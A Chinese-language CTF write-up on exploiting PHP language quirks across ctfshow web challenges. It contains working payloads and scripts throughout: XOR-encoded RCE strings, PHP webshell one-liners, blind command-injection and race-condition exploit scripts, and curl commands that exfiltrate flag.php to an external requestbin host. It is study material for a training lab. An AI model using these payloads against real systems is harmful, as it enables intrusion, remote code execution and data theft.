Web之PHP特性
符号特性
highlight_file当前目录下的文件(web96)
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
?u=./flag.php
.
/是当前目录
../是父级目录
md5,sha1相等绕过(web97,web104,web106,web107)
利用数组绕过
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
md5,sha1不能处理数组,所以直接传两个数组就可以了
a[]=1&b[]=2
0e绕过弱比较
md5
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
sha1
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
双重md5下的0e绕过
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
$a==md5($a)
0e215962017
md5+SQL注入
使用ffifdyop
,先md5再hex2bin后变成了'or'6�]��!r,��b
,绕过SQL注入
NaN 和 INF
NAN
和INF
,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN
都是false,但md5('NaN')===md5('NaN')
为true。
md5/sha1碰撞绕过不同字符串、相同md5/sha1值的强比较
md5
md5collgen -o 1.bin 2.bin
生成两个md5值相同但内容不同的文件
sha1
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
参考资料
https://www.csdn.net/tags/MtTaMg3sMjE2MDAzLWJsb2cO0O0O.html
三目运算符(web98)
$_GET?$_GET=&$_POST:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这里的&是取地址符
上面的语句的意思是如果$_GET
不是空的,那么$_GET=$_POST
后面要求$_GET['HTTP_FLAG']=='flag'
所以我们可以POST一个HTTP_FLAG=flag
,GET随便传一个就可以了
奇怪的and(web100)
PHP中$a=true and false and false
结果$a是True
因为=的优先级比and高,所以是先$a=true
然后做了两个and
不过$a=true && false && false
的结果是false
考虑第二部分的eval("$v2('ctfshow')$v3");
其实就是一个拼接
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=echo `ls`/*&v3=*/;
v1=1&v2=system('ls')/*&v3=*/;
变量覆盖(web105,web134)
web105
$$key
意思是开一个名字是$key
的变量
这题只要GET传一个?suces=flag&flag=a
就行了
web134
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
先将GET值解析,再解析$_POST
payload呼之欲出?_POST[key1]=36d&_POST[key2]=36d
注意源码在html代码里。。。。
[(web123)
还有个点就是空格,左方括号,点都可以替代下划线
可以通过fun直接输出flag,不用管fl0g
空格代替_(web127)
可以通过Burpsuite爆破发现
遇到这种奇怪的函数替代就fuzz!
||与&&(web132)
||优先级和&&是一样的,从左往右执行
函数特性
preg_match与intval绕过
不存在数字字符却被认定为数字(web89)
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
绕过方法是传入一个非空数组
?num[]=0
因为preg_match不能处理数组(应该就跳过了),且intval遇到一个非空数组会返回1
intval($num,0)(web90,web92,web93,web94)
关于intval($num,0)
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 如果字符串以 "0b" 开始,使用 2 进制(bin);否则,
- 将使用 10 进制 (decimal)。
web90,web92
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
这里就是说num本身不能是4476但intval转换后变成4476
绕过方法是传入一个十六进制数
?num=0x117C
这题还有个做法是传入4476a,$var中存在字母的话遇到字母就停止读取
web93,web94
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
这里可以传入八进制来绕过
?num=010574
而web94不同的地方就在于
if($num==="4476"){
die("no no no!");
}
这样的话可以传一个4476.0来绕过
web95
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
似乎把所有的路都堵死了
但其实还是可以八进制绕过的
比如
?num=+010574或?num=%0a010574
intval(intval())(web140)
只要$code = eval("return $f1($f2());");
是0就可以了
考虑intval
,usleep
这种
Apache HTTPD 换行解析漏洞(CVE-2017-15715)(web91)
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
做法是用%0A来让输入的数据分成多行
?cmd=%0aphp
一些笔记
有些时候可能会有上传文件的黑名单限制
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
而我们上传1.php%0a就可以绕过
配置文件
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
的$会匹配\n和\r
但获取文件名时不能用$_FILES['file']['name']
,因为他会自动把换行去掉
在apache2.4.0~apache2.4.29中存在这个漏洞
理论上,只要用正则来匹配后缀进行php解析的Apache就有这个问题
还有个Apache HTTPD 多后缀解析漏洞
就是如果运维人员给.php
后缀增加了处理器
AddHandler application/x-httpd-php .php
在有多个后缀的情况下,只要一个文件含有.php
后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。
参考资料
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
https://blog.csdn.net/qq_46091464/article/details/108278486
in_array(web99)
in_array中如果没有设置第三个参数,会先将类型转为整形,再进行判断。转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0
所以可以get传一个?n=1.php
,post一个content=<?php @eval($_POST['shell']);?>
反射类(web101,web109)
web101
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
这里过滤了很多很多东西
答案是利用反射类
?v1=1&v2=echo new Reflectionclass&v3=;
web109
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
payload:?v1=Reflectionclass('POS');system('ls');//&v2=a
这题可以直接闭合
不闭合也是可以的v1=ReflectionClass&v2=system("ls")
程序会先执行system('ls')
再报错,类似于phpinfo(system('ls'))
还是不懂反射类的原理。。。
异常处理类(web109)
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
payload:?v1=Exception();system('ls');//&v2=a
payload:?v1=Exception&v2=system('ls)')
file_put_contents(web102,web103)
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
is_numeric在php5的环境中,是可以识别十六进制的,在php7中不行
substr($v2,2)
表示截取$v2
从第二个字符开始的字符串
然后因为v2是数字,考虑v1用hex2bin
我觉得一种方法是让$str
变成一句话木马然后写在v3中,但is_numeric绕不过
答案我不是特别懂。。。那就强行立即一下呗
答案里是v3=php://filter/write=convert.base64-decode/resource=1.php
也就是把$str
先base64-decode然后当成php代码执行,结果写到1.php里
v2就是=\`cat *\`;转成base64再转成16进制
#### 关于=\`cat*\`
我们最常见的 PHP 标签是`,但是 PHP 中还有两种短标签,即
?>和
= ?>`。
当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>
了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;
。
其中,<? ?>
相当于对<?php ?>
的替换。而<?= ?>
则是相当于<?php echo ... ?>
PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数
parse_str(web107)
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置
array参数,则由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
ereg(web108)
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
ereg函数存在00截断漏洞,导致了正则过滤被绕过
payload:c=a%00877
FilesystemIterator类与getcwd函数(web110)
FilesystemIterator类可以返回文件名,获取当前的目录则可以用getcwd函数。
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名,而且这个也没法读文件
$GLOBALS(web111)
PHP的超全局变量$GLOBALS是一个包含了全部变量的全局数组,变量的名字是数组的键
is_file(web112,web113,web114)
Web112,web114
我们不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这里就要利用php伪协议。
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
或者用base64-encode的二次编码来做到非预期解
?file=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php
不是很明白什么时候会解码...
web113
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self/root指向的就是根目录,多次重复用来绕过is_file的检验
一些解释...https://www.anquanke.com/post/id/213235
is_numeric&trim(web115)
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
fuzz一下!
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'36';
if(trim($x)!=='36' and is_numeric($x) and $x!=='36' and $x=="36"){
echo urlencode(chr($i))."\n";
}
}
payload:%0C36
highlight_file(web125)
?1=flag.php
fun=highlight_file($_GET[1])&CTF_SHOW=1&CTF[SHOW.COM=
看来一定要注意有没有过滤$,(),_
$_SERVER['argv'];(web126)
cli模式(命令行)下
第一个参数$_SERVER['argv'][0]
是脚本名,其余的是传递给脚本的参数
web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务
$_SERVER[‘argv’]
才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc
在web模式下不适用
加号 + 分割 argv 成多个部分
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
get: ?$fl0g=flag_give_me;
post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
注意第一个不能直接赋值fl0g
gettext()(web128)
这道题一直往无字母数组RCE那想去了
但这东西确实是很有意思的OvO(https://cloud.tencent.com/developer/article/1852985)
事实上是利用了gettext()函数,其中_() 是 gettext()的别名,可以直接输出文本
如gettext("phpinfo")返回phpinfo
payload:?f1=_&f2=get_defined_vars
看来call_user_func似乎不大能用无字母数字rce打
readfile(web129)
某花做出的人生中第一个非预期解!!!!!
readfile似乎是可以套伪协议来读的
而伪协议中是可以再随便套一层协议的!
payload:?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
然而预期解是?f=/ctfshow/../../../../var/www/html/flag.php
或者?f=./ctfshow/../flag.php
emmm不知道内部是什么机制
正则表达式(web130,web131)
web130
.+?
这是一个懒惰匹配, is表示不区分大小写和换行符也会匹配到
在/s模式下,.匹配任意字符,+表示重复一次或更多次,?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。所以ctfshow前面必须得有字符才能匹配到,f=ctfshow就可以绕过了
这道题还可以数组绕过?f[]=1
当stripos应用于数组的时候会返回null,null!false
web131
这里有$f = (String)$_POST['f'];
,所以不能用数组了
一篇好文:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
各种命令执行骚操作...(web133,web135,web136,web139)
参考资料
curl学习:https://www.ruanyifeng.com/blog/2019/09/curl-reference.html
WP:https://blog.csdn.net/qq_46091464/article/details/109095382
https://blog.csdn.net/Kracxi/article/details/121896054
基本思路
要想办法增加eval执行的内容
``是shell_exec()函数的缩写,会命令执行
?F=`$F`;+Command
eval(substr($F,0,6))就是eval(`$F`; )
相当于eval(shell_exec(`$F`; Command))
由于Shell里面没有变量F,所以只会执行Command
我们要利用Command来带出flag.php的数据
web133
有一个简单的思路就是
?F=`$F`;+cp+flag.php+1.txt
但web133就不行,应该是因为没有权限
考虑用curl把数据带出来(在线工具)
?F=`$F`;+curl+-d+'@flag.php'+-X+POST+dnsdatacheck.zbtdlqmbc273uea7.b.requestbin.net
题解还有种做法是
?F=`$F`;+curl http://requestbin.net/r/1puo0jq1?p=`cat test2.php|grep flag`
不大懂。。。
web135
这里可以用cp
?F=`$F`;+cp+flag.php+1.txt
web136
ls /|tee 1
可以把ls结果写入1中。
web139
这题不能用136的技巧了,应该是没有写入权限
这题要时间盲注
?c=if [ `ls /|awk 'NR==1'|cut -c 1` == b ];then sleep 3;fi
awk NR==1
表示取出输入的第一行
cut -c 1
表示取出输入的第一个字符
抄了一下网上的脚本
ls
import requests
import string
dic = string.digits+string.ascii_letters+"_"
ans = ""
for i in range(1,15):
is_find = 0
for j in range(1,15):
if is_find == 1:
break
for n in dic:
payload = "if [ `ls /|awk NR=={}|cut -c {}` == {} ];then sleep 3;fi".format(str(i),str(j),n)
#print(payload)
try:
res = requests.get("http://46422a6e-843b-405e-8821-291dd59affb6.challenge.ctf.show/?c="+payload,timeout=2.5)
except:
ans += n
print(ans)
break
ans += " "
cat
import requests
import string
dic = string.digits+string.ascii_letters+"_"+"-"
ans = ""
for j in range(1,150):
for n in dic:
payload = "if [ `cat /f149_15_h3r3|cut -c {}` == {} ];then sleep 3;fi".format(str(j),n)
#print(payload)
try:
res = requests.get("http://46422a6e-843b-405e-8821-291dd59affb6.challenge.ctf.show/?c="+payload,timeout=2.5)
except:
ans += n
print(ans)
break
call_user_func(web137,web138)
web137
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
ctfshow=ctfshow::getFlag
可以调用一个静态的、不依赖于其他初始化的类方法
->用于动态语境处理某个类的某个实例
web138
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
PHPRCE(web141,web143,web144,web145,web146,web147,web148)
web141
一篇好文(https://cloud.tencent.com/developer/article/1852985)
php有个特性
<?php
return 1 system("ls") 1;
可以正常执行,考虑用异或来做
剩下的就是无字母数字rce了
payload:?v1=1&v2=1&v3=%2b("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e%7b%60%7b")%2b
web143
这里不能用加号分隔,要用*分隔
用脚本生成payload即可
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return output
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
payload:?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")*
web144
感觉就是改了一下payload的顺序...
payload:?v1=1&v3=%2b&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")
web145
这题变成了或运算
payload:?v1=1&v2=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
据说也可以三目运算
1?(xxx):3
也可以取反运算
web146
和145一样啊QwQ
web147
这题要用create_function
函数
create_function(a,b)
可以看成
function name(a){b}
这里的b就可以用}来闭合然后RCE了
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
正则表达可以在函数开头添加/来绕过
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
web148
还是异或绕过
payload:?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
题解好像是用中文什么的
预期解是使用中文 ?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET
条件竞争(web149)
看出了是条件竞争但还是没做出来
题解说用多线程写,贴一个题解的
我没有试出来....多线程我也确实不懂...
# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading
url = 'http://e0761e8b-a21e-4548-87d8-57e528ea15ce.challenge.ctf.show/'
def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)
def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()
if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()
非预期是直接把一句话木马写到index.php里
GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>
web150与web150(plus)
这两道题真的学了好多东西!!
日志注入
参考资料:https://developer.aliyun.com/article/848813
利用session.upload_progress文件包含进行RCE
参考资料:https://www.xiinnn.com/article/f8bfdfb5.html
贴一个脚本
# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading
sessid = 'test'
data = {
"ctf": "/tmp/sess_test",
"cmd": 'system("cat flag.php");'
}
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while event.isSet():
res = session.post(
'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
data=data
)
if 'flag{' in res.text:
print(res.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == "__main__":
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 5):
threading.Thread(target=read, args=(session,)).start()
还有个exp...https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
等军训完了去学多线程OvO
class_exists与__autoload()
class_exists
的第二个参数默认为True,也就是如果类不存在,会默认去执行__autoload
参考资料:https://www.cnblogs.com/nice0e3/p/15383699.html